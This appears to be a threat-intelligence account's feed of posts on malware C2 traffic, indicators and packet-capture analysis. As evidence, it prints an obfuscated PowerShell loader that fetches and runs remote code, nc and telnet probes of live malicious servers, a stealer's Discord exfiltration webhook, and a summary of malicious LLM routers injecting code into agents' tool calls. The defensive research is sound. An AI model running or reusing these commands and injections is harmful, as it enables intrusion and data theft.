iiinova — where your digital self keeps evolving

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 06/10/2026

$curl -s --data-binary @a434d238-8a9a-4df7-9602-6b725612d389.pcap https://demo.flowcarp.com | jq 'select(.event_type=="alert")' { "timestamp": "2026-10-06T17:38:21.0006940Z", "flow_id": 1462406803383104, "event_type": "alert", "src_ip": "192.168.100.4", "src_port": 50380, "dest_ip": "64.89.160.127", "dest_port": 4561, "proto": "TCP", "app_proto": "LxBase RAT", "alert": { "action": "allowed", "gid": 1, "signature_id": 1471199, "rev": 1, "signature": "MALWARE protocol detected: LxBase RAT", "category": "Malware Command and Control Activity Detected", "severity": 1 }, "metadata": { "community_id": "1:uXLNxSUlX8hUKYoJ1hecesxwccs=", "former_category": "MALWARE", "signature_severity": "Major" } }$

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/08/2026

@james_inthe_box The malware config extractor on Triage is quite useful to verify SheetRAT C2 servers. tria.ge/260820-gsa3vsfl2w

$Malware Config Extracted Family sheetrat Version 1.8 C2 neimdmhk.torgports.shop:22565 Mutex Attributes anti_virtual false certificate fejnezt6j95d4z1cec exclusion_wd true hidden_file true install true install_watch_dog true key azar24ows path_client %Windows%\exploler path_watch_dog %ProgramFiles%\exploler pump false rootkit c9urnkfci9p197lqqjuz0k task_client ShellHost use_install_admin true user_init false$

010 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 05/08/2026

@james_inthe_box That's interesting. Headless Chrome and Edge instances with `--no-sandbox` could be a decent artifact to hunt for, right? Here's a writeup touching on this: blog.deception.pro/blog/cpuz-trojan…

2026-04-10 10:08:52 > PureLogs Stealer launches headless Chrome and Edge instances with --no-sandbox flags to harvest saved credentials

101 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/08/2026

Update: There is now a win.pureminer malware family Malpedia, and `194.169.175.191:39002` has now been updated to the correct `PureMiner` tag on ThreatFox. 🎉 💃 😎

Screenshot of 194.169.175.191:39002 classified as PureMiner on ThreatFox
Source:
https://threatfox.abuse.ch/ioc/1750083/

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/08/2026

@james_inthe_box Thank you for sharing! The #PureLogs C2 server seems to be on 2.27.62.123:4449 Turns out JoeSandbox has history for that C2 server since at least 2026-04-08. www.joesandbox.com/analysis/search?…

PureLogs malware samples on JoeSandbox communicating with PureLogs server on 2.27.62.123

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026

FlowCarp classifies `79.110.49.15:39001` as `PureMiner` and the other ones as `PureRAT` or `TLS, PureRAT`. The `TLS` prefix means that PureRAT C2 traffic is encrypted using TLS. Some of the traffic sent to FlowCarp for `196.251.86.238:56001` used proper TLS […] [Original post on infosec.exchange]

curl -s --data-binary @ThreatFox-zgRAT.pcap https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["196.251.86.238:56001","MALWARE protocol detected: PureRAT"]
["196.251.86.238:56001","MALWARE protocol detected: TLS, PureRAT"]
["79.110.49.15:39001","MALWARE protocol detected: PureMiner"]
["89.23.103.60:7001","MALWARE protocol detected: TLS, PureRAT"]

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026

Only 3 IOCs have been posted to ThreatFox for the confusing catch-all label `zgRAT` in the past 12 months. Let's clear up any issues and figure out what they actually are. `89.23.103.60:7001` is `PureRAT` `194.169.175.191:39002` is `PureMiner` (also tagged […] [Original post on infosec.exchange]

PureRAT and PureMiner traffic on ThreatFox:
2026-03-05 15:06:22 89.23.103.60:7001 zgRAT zgrat PeterGabaldon
2026-02-18 07:34:51 194.169.175.191:39002 zgRAT API-BASE64 execution NETREACTOR persistence PUREMINER zgrat Neiki
2025-10-16 05:38:45 196.251.86.238:56001 zgRAT RAT zgrat burger

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/07/2026

@james_inthe_box @da_667 Nice! Another alternative is to use FlowCarp. It has really good detection for ScreenConnect in TLS. Here's the output from the free FlowCarp demo service.

$curl -s --data-binary @73887f39-a8ac-4702-a67d-36465caca294.pcap https://demo.flowcarp.com | grep -i screenconnect | jq { "timestamp": "2026-07-16T16:15:26.9380460Z", "flow_id": 285455069726852, "event_type": "flow", "src_ip": "192.168.100.3", "src_port": 50098, "dest_ip": "100.58.85.208", "dest_port": 443, "proto": "TCP", "app_proto": "TLS, ScreenConnect", "flow": { "pkts_toserver": 8, "pkts_toclient": 7, "bytes_toserver": 707, "bytes_toclient": 1750, "start": "2026-07-16T16:15:26.9380460Z", "end": "2026-07-16T16:15:27.5164070Z", "age": 0.578361, "state": "CLOSING" }, "metadata": { "round_trip_time": "00.0003070", "producer_consumer_ratio": "-0.42450142450142453", "community_id": "1:jVCti5wU/3XtQsB3626ioHF5WN0=" } }$

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 16/07/2026

@james_inthe_box C2 server seems to be on 141.98.10.150:14642 `curl -s --data-binary @260716-pq5hpadv4p-behavioral1.pcapng demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert […] [Original post on infosec.exchange]

curl -s --data-binary @260716-pq5hpadv4p-behavioral1.pcapng https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["141.98.10.150:14642","MALWARE protocol detected: TLS, Remcos"]

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/07/2026

@james_inthe_box @da_667 FlowCarp classifies `104.249.10.71:2555` as #PureRAT inside of TLS Feel free to verify with: `curl -s --data-binary @4bd07f35-3a29-477a-8e2b-7e4d31182cd7.pcap demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[( […] [Original post on infosec.exchange]

$ curl -s --data-binary @4bd07f35-3a29-477a-8e2b-7e4d31182cd7.pcap https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["104.249.10.71:2555","MALWARE protocol detected: TLS, PureRAT"]

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 09/06/2026

Is this a new ValleyRAT variant from #SilverFox (银狐) or a completely new malware? Custom protocol over TCP 443. C2 traffic starts with `BFuck\0\0\0` = `42 46 75 63 6b 00 00 00` IOCs: `38.76.177.46:443` `43.99.101.175:443` tria.ge/260527-lq3gjscw4t tria.ge/260525-t6jclsdv5m

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 02/06/2026

@james_inthe_box Here are some network indicators for the Overlord RAT C2 traffic: IP and port: `64.89.161.167:5173` ASN: 205759 GHOSTYNETWORKS JA3: `725543c78edf669194c11dc7a039b56e` JA3S: `eb1d94daa7e0344597e756a1fb6e7054` JA4: `t13i131000_f57a46bbacb6_ab7e3b40a677`

Overlord RAT C2 traffic to 64.89.161.167:5173 in CapLoader.

400 4

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 22/05/2026

Tell me AI writes your articles without telling me AI writes your articles

Article in English with mixed in Persian text

001 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 11/05/2026

@bagder > The report concluded it found five “Confirmed security vulnerabilities”. I think using the term confirmed is a little amusing when the AI says it confidently by itself. Yes, the AI thinks they are confirmed, but the curl security team has a slightly different take.

WHO NEEDS EVIDENCE? IT'S TRUE BECAUSE I SAID SO

020 2

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 06/05/2026

Found an odd Telnet like connection in a Mirai malware execution. Follow these steps to see for yourself: `telnet 45.149.186.18 8080` Enter: `newsrv` 🔥 nivela.duckdns[.]org:8080 🔥 45.149.186.18:8080 🔥 b8d37e1ba85e8cebd9802b31747a1689 #Mirai #OWARI

REDE GENUINAMENTE BRASILEIRA
Military Network Version 4.0 Login

Welcome Soldier Type your user and pass to login

Created by HaxStroke from ZakrytyeKupla[3ATO] Team
Username:
Password:
Sorry, You inputed incorrect information
Press Escape to exit

021 2

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/04/2026

@james_inthe_box Looks like a ~500kB exfil gets sent with HTTP POST to `hxxps://discord[.]com/api/webhooks/1494678333038923857/niEi62QmjZP4mcY2ilWiGgG9iKqEuOwwv4OODyjms7ZSzqt3wr16UbgtSkMLpwFLWBFY`

$------FormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="content" **New Steal** from `DESKTOP-JGLLJLD` ------FormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="stolen zip" Content-Type: application/octet-stream Chrome\autofill Chrome\cookies txt= bK[ 1 Chrome\credit_cards BrbQJ BJjrQeAIj BP~y Chrome\debug \tf<s ,5aa RyR@g Chrome\history Chrome\passwords BAbqqy~QJ BJjrQeAIj BP~y Edge\autofill$

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 15/04/2026

Researchers found 8 free and _1 paid_ (!!!) LLM routers actively injecting malicious code and one attempting to steal ETH :bitcoin: > This architecture creates a trust relationship that has received little scrutiny. The “router-in-the-middle” is not an […] [Original post on infosec.exchange]

LLM router ecosystem and taint propagation. Agent clients (left) exchange requests and responses through a multi-hop graph of LLM routers to upstream model providers (right). Each hop terminates the inbound TLS session, granting full plaintext access. Green arrows denote clean data flow; red arrows trace how a single malicious router 𝑅4, controlled by an external attacker, taints responses on the return path: corrupted payloads propagate through 𝑅1 back to the compromised Claude Code and Codex clients, handing the attacker effective control over their tool execution (“your agent is mine”), while agents routed through honest paths (e.g., 𝑅2 →𝑅5) remain unaffected.

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 19/03/2026

@james_inthe_box Thanks for sharing! Looks like it (OriginLogger?) is exfiltrating to: 🔥 cvgrf[.]biz 🔥 knjghuig[.]biz 🔥 npukfztj[.]biz 🔥 przvgke[.]biz 🔥 pywolwnvd[.]biz 🔥 ssbzmoy[.]biz

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 27/02/2026

21 of the world's best intelligence and security agencies cannot be wrong... right? netresec.com/?b=26233f4

GRU unit 26165 domains:
accesscan[.]org glize[.]com
You’ve verified them, right?
You’ve verified them, right?

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 11/02/2026

@james_inthe_box 👾 xmb.pythonanywhere[.]com (2025-09-17) 👾 tdroot.pythonanywhere[.]com (2026-02-10) www.joesandbox.com/analysis/1494487…

Timestamp Bytes transferred Direction Data
2024-08-18 12:58:59 UTC 169 OUT POST /c2/receiver HTTP/1.1
Content-Type: application/json
User-Agent: TLD13Browser/12.0
Host: xmb.pythonanywhere.com
Content-Length: 165
Cache-Control: no-cache
2024-08-18 12:58:59 UTC 165 OUT Data Raw: 7b 22 69 64 22 3a 20 22 47 37 38 59 2d 30 53 37 36 2d 56 45 38 47 2d 36 56 35 36 2d 4c 4e 52 30 2d 48 56 36 45 2d 4f 4d 30 49 2d 4c 42 5a 22 2c 20 22 69 76 22 3a 20 22 38 33 63 35 64 66 39 66 61 30 64 62 61 63 37 39 34 31 64 62 30 37 33 32 30 30 35 39 37 61 39 33 22 2c 20 22 6b 65 79 22 3a 20 22 63 39 36 63 66 31 38 31 62 30 38 35 34 61 36 37 38 32 32 63 33 66 33 37 34 36 30 33 66 61 66 39 37 61 35 31 66 31 65 64 39 37 33 32 66 31 35 65 39 32 37 63 63 34 37 65 66 35 39 66 64 36 35 33 22 7d
Data Ascii: {"id": "G78Y-0S76-VE8G-6V56-LNR0-HV6E-OM0I-LBZ", "iv": "83c5df9fa0dbac7941db073200597a93", "key": "c96cf181b0854a67822c3f374603faf97a51f1ed9732f15e927cc47ef59fd653"}

010 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 10/02/2026

Found two more C2 servers with the same `Accept: */*` and `frAQBc8Wsa1xVPfvJcrgRYwTiizs2tr` strings. These ones run on TCP 5050 as well. 👾 192.253.229.223:5050 (last active December 2025) 👾 156.254.20.94:5050 (last active December 2025) #Threatintel

CapLoader transcript of C2 session to 192.253.229.223:5050 with strings like Accept: */* and frAQBc8Wsa1xVPfvJcrgRYwTiizs2tr

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 09/02/2026

We’ve stumbled across an unknown malware C2 protocol. Do you know what this is? 👾 47.83.173.19:5050 👾 47.84.203.73:5050 👾 xuanwcai[.]com:5050 👾 wkaiuahaaxx[.]icu:5050 Characteristic strings in C2 traffic: `Accept: */*` `frAQBc8Wsa1xVPfvJcrgRYwTiizs2tr`

Flow transcript of unknown C2 protocol.

4163 6365 7074 3a20 2a2f 2a0d 0a00 0000 Accept: */*.....
0000 0000 0000 0000 0000 0000 0000 0000 ................
0000 0000 0000 0000 0000 0000 0000 0000 ................
0000 0000 0000 0000 0000 0000 0000 0000 ................
0000 0000 0000 0000 0000 0000 0000 0000 ................
0000 0000 0000 0000 0000 0000 0000 0000 ................
0000 0000 0800 0000 6672 4151 4263 3857 ........frAQBc8W
7361 3178 5650 6676 4a63 7267 5259 7754 sa1xVPfvJcrgRYwT
6969 7a73 3274 7200 0000 0000 1662 6900 iizs2tr......bi.

6c72 4151 5401 5157 98a8 lrAQT.QW??

0b72 4151 5401 5157 9890 77b6 78fd 6eb9 .rAQT.QW??w?x?n?
a9a4 6799 8ce2 9c9b 80a1 a8f8 88bd adbd ??g?????????????
9fa9 b099 689c a802 9cc9 77bf 78a9 6ebf ????h??.??w?x?n?
a9f6 6796 8ce4 9c9c 80af a8ae 88bb adbd ??g?????????????
9ffa b091 6892 a852 9ca8 7787 7899 6e8d ????h??R??w?x?n?
a997 67ae 8c86 9cac 8099 a89d 888f ad8a ??g?????????????
9f9f b0a9 68aa a836 9ca8 7787 78 ????h??6??w?x

2b78 4151 5401 5157 99a8 7787 78e2 18d8 +xAQT.QW??w?
f6b6 0df9 dba8 9cc8 80f5 a8f1 88d0 ade8 ??.?????????????
9ff6 b0c7 68aa a836 9ca8 7787 7899 6e8d ????h??6??w?x?n?
a997 67ae 8c86 9cac 8099 a89d 888f ad8a ??g?????????????
9f9f b0a9 68aa a836 9ca8 7787 7899 6e8d ????h??6??w?x?n?

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/02/2026

EFTA00817090 > And (2) is interesting because you don't necessarily need to compromise the target if you have control of the network infrastructure. For instance, China attacked GitHub by injecting JavaScript into people's navigation session ( […] [Original post on infosec.exchange]

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 16/01/2026

🔥 Finger service on 64.190.113.206:79 delivers malicious powershell injects after #ClickFix infections. The malicious finger service can be probed with `nc 64.190.113.206 79 <<< rcaptcha`

nc 64.190.113.206 79 <<< rcaptcha
powershell -w h $rkdxui='ur' ;set-alias bertare c$($rkdxui)l;$iotdbycmkgwfp=(853,865,865,861,807,796,796,851,870,867,868,799,860,854,867,795,865,860,861,796,798,795,861,853,861,812,864,810,799,802,848,801,802,850,851,850,794,798,799,847,805,794,801,850,798,849,794,847,806,797,847,794,849,847,847,846,804,848,850,849,799,798,846,848);$zbvxekpyng=('reicporet','get-cmdlet');$viejarku=$iotdbycmkgwfp;foreach($izxrjgkps in $viejarku){$cfyapmhros=$izxrjgkps;$peqwajiln=$peqwajiln+[char]($cfyapmhros-749);$irfsex=$peqwajiln; $fenbohdt=$irfsex};$synwaxchklt[2]=$fenbohdt;$nuhjlqt='rl';$vxqnkui=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(bertare -useb $fenbohdt)

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 10/12/2025

Keylog of attackers hands-on keyboard actions from BackConnect VNC session.

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 10/12/2025

Here's one of the screenshots from the BackConnect VNC sessions in the blog post.

Screenshot extracted from BackConnect VNC traffic with help of NetworkMiner

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/12/2025

To be fair, another major actor aiding threat actors is GitHub. Here's another quote from SicuraNext's phishing report that also applies to malware C2: > Try explaining to your CISO why you need to block github.io or vercel.app. You can't. Your developers […] [Original post on infosec.exchange]

Top malware hosting networks, hosting active malware content (counting online malware distribution sites only):
Rank ASN Country ASN-DROP Average Reaction Time Malware URLs
1 AS36459 GITHUB - US 18 days, 12 hours, 5 minutes 2'144
2 AS20940 AKAMAI-ASN1 - US 19 days, 13 hours, 10 minutes 1'102
3 AS26496 AS-26496-GO-DADDY-COM-LLC - US 18 days, 20 hours, 45 minutes 928
4 AS54113 FASTLY - DE 19 days, 19 hours, 33 minutes 526

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/11/2025

Here's the full infection chain: * `198.211.110.107:79` finger connects to finger[.]cloudyape[.]com * `172.67.190.68:80` curl tries `cloudyape[.]com/uvey.php?holt=2` but server responds with `301 Moved Permanently` and redirects to HTTPS * `172.67.190 […] [Original post on infosec.exchange]

Malware infection flows in CapLoader
PCAP from https://tria.ge/251028-3g9yps1ncr/behavioral1

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/11/2025

cmd.exe doesn't like all the output coming from finger, but the `set` and `curl` commands run fine. Interesting side note: The TA used the `--tlsv1.2` switch but didn't specify `https://` in the URI, this caused curl to connect using HTTP on TCP port 80 anyway.

Output from cmd.exe when output from finger server are executed as commands

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/11/2025

This is what the finger traffic looks like. The server response looks like "normal" finger, but also includes `set` `curl` `mkdir` and `tar` commands at the end.

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/11/2025

This #StealC and #CastleRAT infection starts with a #ClickFix attack using finger to download commands from finger[.]cloudyape[.]com

Finger command injected though ClickFix attack

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 16/10/2025

The technical detail in this PureRAT analysis by Heejae Hwang (황희재) is fantastic! The analyzed #PureRAT sample looks very similar to the one James Northey recently blogged about for @huntress. It even uses the same C2 server 157.66.26.209:56001.

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 09/10/2025

Here are the decoded/decompressed HTTP/2 headers from Nezha. It's using gRPC, or more specifically the (grpc-go)[https://github.com/grpc/grpc-go] library.

HTTP/2 headers extracted from PCAP with NetworkMiner.
:method :method POST 1554 192.168.100.10 [DESKTOP-JGLLJLD]
:scheme :scheme http 1554 192.168.100.10 [DESKTOP-JGLLJLD]
:path :path /proto.NezhaService/ReportSystemInfo2 1554 192.168.100.10 [DESKTOP-JGLLJLD]
:authority :authority c.mid.al:80 1554 192.168.100.10 [DESKTOP-JGLLJLD]
content-type content-type application/grpc 1554 192.168.100.10 [DESKTOP-JGLLJLD]
user-agent user-agent grpc-go/1.72.2 1554 192.168.100.10 [DESKTOP-JGLLJLD]
te te trailers 1554 192.168.100.10 [DESKTOP-JGLLJLD]
grpc-timeout grpc-timeout 4033579u 1554 192.168.100.10 [DESKTOP-JGLLJLD]
client_uuid client_uuid f6e7314f-5c7e-f2cb-5be7-68b95a0cf7c3 1554 192.168.100.10 [DESKTOP-JGLLJLD]
client_secret client_secret GuH9TipzAZxzcnUpgYFfh0kwNSOyU8am 1554 192.168.100.10 [DESKTOP-JGLLJLD]
:status :status 200 1558 172.245.52.169 [c.mid.al]
content-type content-type application/grpc 1558 172.245.52.169 [c.mid.al]
trailer trailer Grpc-Status,Grpc-Message,Grpc-Status-Details-Bin 1558 172.245.52.169 [c.mid.al]
grpc-status grpc-status 0 1560 172.245.52.169 [c.mid.al]

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 09/10/2025

The use of TLS is pretty much mandatory for HTTP/2, yet this #Nezha backoor POSTS HTTP/2 data over TCP port 80 without encryption! 🔥 172.245.52[.]169:80 🔥 c.mid[.]al:80 tria.ge/251009-j26bgacj7s app.any.run/tasks/952bf595-caf6-444…

CapLoader transcript of unencrypted HTTP/2 traffic from Nehza
PRI * HTTP/2.0

SM

.........
....................?.....@............
......................
...........?......??E?b?.?????.????+.KY?N?HIi?T?.A?"??E?E??_?.u?b
&=LMedz??????`+?%?@.te?M?5.?.@?????MIOj.?h.????@?%.-I??M'?????Z?f??V?D?f?+?8?o?0.WH?@?%.-I?.%?O??n7???p???J?W7<2?.?4??????
..?..........?
.Microsoft Windows 10 Pro..22H2.1AMD Ryzen 5 3500 6-Core Processor 6 Physical Core ????.(?????.0????.:.x86_64H????.R.1.13.0Z.Microsoft Basic Display Adapter

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 27/08/2025

NetworkMiner actually extracts the whole X.509 certificate from the PCAP on ANY-RUN

X.509 certificate with thumbprint 50f990235d7492431f57953cec14a478fb662c8d extracted from ANY.RUN PCAP file with NetworkMiner 3.0

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 27/08/2025

Google’s report on #UNC6384 lists this certificate as being used in C2 comms by Sogu (#PlugX variant): eca96bd74fb6b22848751e254b6dc9b8e2721f96 Here’s an @anyrun_app execution, of AdobePlugins.exe on May 19, which runs CANONSTAGER as well as SOGU.SEC […] [Original post on infosec.exchange]

PCAP file from https://app.any.run/tasks/ce2745eb-edac-4e62-b5a9-5d9515b88bc4 loaded in NetworkMiner 3.0 showing parameters extracted from frame 2775.

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 27/08/2025

Google’s report on #UNC6384 lists this certificate as being used in C2 comms by Sogu (#PlugX variant): eca96bd74fb6b22848751e254b6dc9b8e2721f96 Here’s a sandbox execution, of AdobePlugins.exe on May 19, which runs CANONSTAGER as well as SOGU.SEC […] [Original post on infosec.exchange]

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2025

UPDATE: Turns out the whole /wp-admin/js/ directory on Västkupan's website allows directory listing. Among the files in that directory is "New PO 102456688.exe", which drops #PureLogs. 🔥 MD5: b2647b263c14226c62fe743dbff5c70a 🔥 C2: 147.124.219.201:65535 netresec.com/?b=257eead

Directory listing on vastkupan.com with New PO 102456688.exe

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/07/2025

Do #PureLogs Stealer and #PureCrypter use the same C2 protocol, or is there some way to tell the C2 protocols apart? C2 servers: 🔥 45.141.233.100:7708 🔥 144.172.91.74:7709 🔥 62.60.235.100:9100 🔥 65.108.24.103:62050 🔥 91.92.120.102:62050 🔥 192.30.240.242:62520

Transcript of PureLogs (or PureCrypter) C2 traffic to 65.108.24.103:62050

200 2

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 16/07/2025

Cxqyoub.dat is decrypted by XOR-ing with "414".

$curl -s https://www.vastkupan.com/wp-admin/js/Cxqyoub.dat | xxd | head 00000000: 796b a434 3234 3431 3034 3134 cbce 3434 yk.424410414..44 00000010: 8934 3431 3434 3134 7431 3434 3134 3431 .4414414t1441441 00000020: 3434 3134 3431 3434 3134 3431 3434 3134 4414414414414414 00000030: 3431 3434 3134 3431 3434 3134 b431 3434 414414414414.144 00000040: 3f2b 8e3f 3480 38f9 1589 3578 fc15 6059 ?+.?4.8...5x..`Y 00000050: 5d47 1144 465e 5346 5059 1452 555a 5f5b ]G.DF^SFPY.RUZ_[ 00000060: 4011 5651 1146 415f 145d 5f14 707e 6714 @.VQ.FA_.]_.p~g. 00000070: 5c5b 5054 1a39 3c3e 1031 3434 3134 3431 \[PT.9<>.1441441 00000080: 6471 3134 7830 3734 60a1 4059 3434 3134 dq14x074`.@Y4414 00000090: 3431 3434 d134 3a10 3f35 0134 3419 0134 4144.4:.?5.44..4$

100 1

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 25/06/2025

Why does CloudFlare insist on forwarding abuse reports to hosting providers and website owners? This makes no sense if the website operators and possibly also hosting providers are the criminals you're trying to stop!

Because Cloudflare does not have the ability to remove content from a website, it is our practice to forward abuse complaints to entities like the hosting provider and/or website owner to follow up. Please specify:

Who should be notified?

Please select at least one.Note: The hosting provider may have their own policies for how they notify the website owner of a complaint.
Please forward my report to the website hosting provider.
Include my name and contact information with the report to the website hosting provider.
Please forward my report to the website owner.
Include my name and contact information with the report to the website owner.

301 3

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 11/06/2025

Researchers uncover how the Facebook app used localhost STUN communication with the browser to track visited websites in Covert Web-to-App Tracking via Localhost on Android. This trick works even if the user browses in incognito mode and uses a VPN. > The […] [Original post on infosec.exchange]

002 2

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 22/05/2025

Thank you CISA, NCSC, @bsi et al. for publishing the advisory on Russian GRU Targeting Western Logistics Entities and Technology Companies. This list of mocking services is great for threat hunting! #threathunting #threatintel

Many organizations may not need to allow outgoing traffic to hosting and API mocking
services, which are frequently used by GRU unit 26165. Organizations should consider
alerting on or blocking the following services, with exceptions allowlisted for legitimate
activity [D3-DNSDL].
*.000[.]pe
*.1cooldns[.]com
*.42web[.]io
*.4cloud[.]click
*.accesscan[.]org
*.bumbleshrimp[.]com
*.camdvr[.]org
*.casacam[.]net
*.ddnsfree[.]com
*.ddnsgeek[.]com
*.ddnsguru[.]com
*.dynuddns[.]com
*.dynuddns[.]net
*.free[.]nf
*.freeddns[.]org
*.frge[.]io
*.glize[.]com
*.great-site[.]net
*.infinityfreeapp[.]com
*.kesug[.]com
*.loseyourip[.]com
*.lovestoblog[.]com
*.mockbin[.]io
*.mockbin[.]org
*.mocky[.]io
*.mybiolink[.]io
*.mysynology[.]net
*.mywire[.]org
*.ngrok[.]io
*.ooguy[.]com
*.pipedream[.]net
*.rf[.]gd
*.urlbae[.]com
*.webhook[.]site
*.webhookapp[.]com
*.webredirect[.]org
*.wuaze[.]com
Heuristic detections for web requests to new subdomains, including of the above
providers, may uncover malicious phishing activity [D3-DNRA]. Logging the requests for
each sub-domain requested by users on a network, such as in DNS or firewall logs,
may enable system administrators to identify new targeting and victims

000 0

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 12/05/2025

DoJ, Dutch National Police and FBI have dismantled a botnet that was used to run Anyproxy and 5socks proxy networks. www.theregister.com/2025/05/10/rout…

000 0